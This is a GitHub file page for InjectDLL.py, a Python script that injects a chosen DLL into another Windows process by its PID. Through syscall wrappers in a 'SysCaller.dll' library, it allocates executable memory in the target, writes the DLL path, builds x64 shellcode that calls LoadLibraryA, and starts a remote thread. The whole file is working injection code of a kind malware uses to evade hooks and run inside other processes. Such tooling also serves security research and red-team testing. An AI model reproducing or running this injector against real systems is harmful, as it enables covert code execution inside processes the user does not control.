-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathInjectDLL.py
More file actions
201 lines (192 loc) · 7.1 KB
/
InjectDLL.py
File metadata and controls
201 lines (192 loc) · 7.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
import ctypes
from ctypes import wintypes
import struct
import sys
import os
dll_path = os.path.join(os.path.dirname(__file__), "SysCaller.dll")
syscaller = ctypes.WinDLL(dll_path)
# Type aliases for clarity
NTSTATUS = wintypes.DWORD
HANDLE = wintypes.HANDLE
PVOID = wintypes.LPVOID
SIZE_T = ctypes.c_size_t
ULONG = wintypes.DWORD
if ctypes.sizeof(ctypes.c_void_p) == 8:
ULONG_PTR = ctypes.c_uint64
else:
ULONG_PTR = ctypes.c_uint32
# Map SysCaller functions
syscaller.SysAllocateVirtualMemoryEx.argtypes = [
HANDLE,
ctypes.POINTER(PVOID),
ctypes.POINTER(SIZE_T),
ULONG,
ULONG,
ctypes.c_void_p, # PMEM_EXTENDED_PARAMETER (optional)
ULONG
]
syscaller.SysAllocateVirtualMemoryEx.restype = NTSTATUS
syscaller.SysWriteVirtualMemory.argtypes = [
HANDLE,
PVOID,
PVOID,
SIZE_T,
ctypes.POINTER(SIZE_T)
]
syscaller.SysWriteVirtualMemory.restype = NTSTATUS
syscaller.SysCreateThreadEx.argtypes = [
ctypes.POINTER(HANDLE),
ULONG,
ctypes.c_void_p, # POBJECT_ATTRIBUTES (optional)
HANDLE,
PVOID, # StartRoutine
PVOID, # Argument
ULONG,
SIZE_T,
SIZE_T,
SIZE_T,
ctypes.c_void_p # PPS_ATTRIBUTE_LIST (optional)
]
syscaller.SysCreateThreadEx.restype = NTSTATUS
syscaller.SysClose.argtypes = [HANDLE]
syscaller.SysClose.restype = NTSTATUS
# Helper: NT_SUCCESS macro
def NT_SUCCESS(status):
return status >= 0
def InjectDLL(process_handle, dll_path):
try:
# Use absolute path for DLL
abs_dll_path = os.path.abspath(dll_path)
dll_path_bytes = abs_dll_path.encode('ascii') + b'\x00'
path_size = len(dll_path_bytes)
base_address = PVOID(0)
region_size = SIZE_T(path_size)
# Allocate memory for DLL path in target process
status = syscaller.SysAllocateVirtualMemoryEx(
process_handle,
ctypes.byref(base_address),
ctypes.byref(region_size),
0x3000, # MEM_COMMIT | MEM_RESERVE
0x40, # PAGE_EXECUTE_READWRITE
None,
0
)
if not NT_SUCCESS(status):
print(f"[!] Failed to allocate memory for DLL path. Status: 0x{status:08X}")
return False
dll_path_addr = ctypes.cast(base_address, ctypes.c_void_p).value
print(f"[+] Allocated DLL path memory at: 0x{dll_path_addr:016X}")
# Write DLL path to allocated memory
bytes_written = SIZE_T(0)
status = syscaller.SysWriteVirtualMemory(
process_handle,
base_address,
ctypes.c_char_p(dll_path_bytes),
path_size,
ctypes.byref(bytes_written)
)
if not NT_SUCCESS(status) or bytes_written.value != path_size:
print(f"[!] Failed to write DLL path. Status: 0x{status:08X}, Bytes written: {bytes_written.value}")
return False
print(f"[+] Successfully wrote DLL path to memory")
# Get LoadLibraryA address
kernel32 = ctypes.WinDLL('kernel32.dll')
kernel32.GetModuleHandleW.argtypes = [wintypes.LPCWSTR]
kernel32.GetModuleHandleW.restype = wintypes.HMODULE
kernel32.GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
kernel32.GetProcAddress.restype = wintypes.LPVOID
h_kernel32 = kernel32.GetModuleHandleW('kernel32.dll')
if not h_kernel32:
print("[!] Failed to get kernel32.dll handle")
return False
load_library = kernel32.GetProcAddress(h_kernel32, b'LoadLibraryA')
if not load_library:
print("[!] Failed to get LoadLibraryA address")
return False
print(f"[+] LoadLibraryA address: 0x{ctypes.cast(load_library, ctypes.c_void_p).value:016X}")
# Build x64 shellcode (windows calling convention)
shellcode = bytes([
0x48, 0x83, 0xEC, 0x28, # sub rsp, 0x28
0x48, 0xB9 # mov rcx,
])
shellcode += dll_path_addr.to_bytes(8, byteorder='little')
shellcode += bytes([
0x48, 0xB8 # mov rax,
])
shellcode += ctypes.cast(load_library, ctypes.c_void_p).value.to_bytes(8, byteorder='little')
shellcode += bytes([
0xFF, 0xD0, # call rax
0x48, 0x83, 0xC4, 0x28, # add rsp, 0x28
0xC3 # ret
])
shellcode_size = len(shellcode)
shellcode_addr = PVOID(0)
region_size = SIZE_T(shellcode_size)
status = syscaller.SysAllocateVirtualMemoryEx(
process_handle,
ctypes.byref(shellcode_addr),
ctypes.byref(region_size),
0x3000, # MEM_COMMIT | MEM_RESERVE
0x40, # PAGE_EXECUTE_READWRITE
None,
0
)
if not NT_SUCCESS(status):
print(f"[!] Failed to allocate memory for shellcode. Status: 0x{status:08X}")
return False
shellcode_addr_val = ctypes.cast(shellcode_addr, ctypes.c_void_p).value
print(f"[+] Allocated shellcode memory at: 0x{shellcode_addr_val:016X}")
# Write shellcode to allocated memory
bytes_written = SIZE_T(0)
status = syscaller.SysWriteVirtualMemory(
process_handle,
shellcode_addr,
ctypes.cast(ctypes.create_string_buffer(shellcode), PVOID),
shellcode_size,
ctypes.byref(bytes_written)
)
if not NT_SUCCESS(status) or bytes_written.value != shellcode_size:
print(f"[!] Failed to write shellcode. Status: 0x{status:08X}, Bytes written: {bytes_written.value}")
return False
print(f"[+] Successfully wrote shellcode")
# Create remote thread
thread_handle = HANDLE(0)
status = syscaller.SysCreateThreadEx(
ctypes.byref(thread_handle),
0x1FFFFF, # THREAD_ALL_ACCESS
None,
process_handle,
shellcode_addr,
None,
0,
0,
0,
0,
None
)
if not NT_SUCCESS(status) or not thread_handle.value:
print(f"[!] Failed to create remote thread. Status: 0x{status:08X}, Handle: {thread_handle.value}")
return False
print(f"[+] Created remote thread: 0x{thread_handle.value:016X}")
# Wait for thread and close handle
kernel32.WaitForSingleObject(thread_handle, 5000)
syscaller.SysClose(thread_handle)
print(f"[+] Successfully injected {dll_path}!")
return True
except Exception as e:
print(f"[!] Exception during injection: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <pid> <dll_path>")
sys.exit(1)
pid = int(sys.argv[1])
dll_path = sys.argv[2]
PROCESS_ALL_ACCESS = 0x1F0FFF
kernel32 = ctypes.WinDLL('kernel32.dll')
process_handle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if not process_handle:
print(f"[!] Failed to open process {pid}")
sys.exit(1)
InjectDLL(process_handle, dll_path)
kernel32.CloseHandle(process_handle)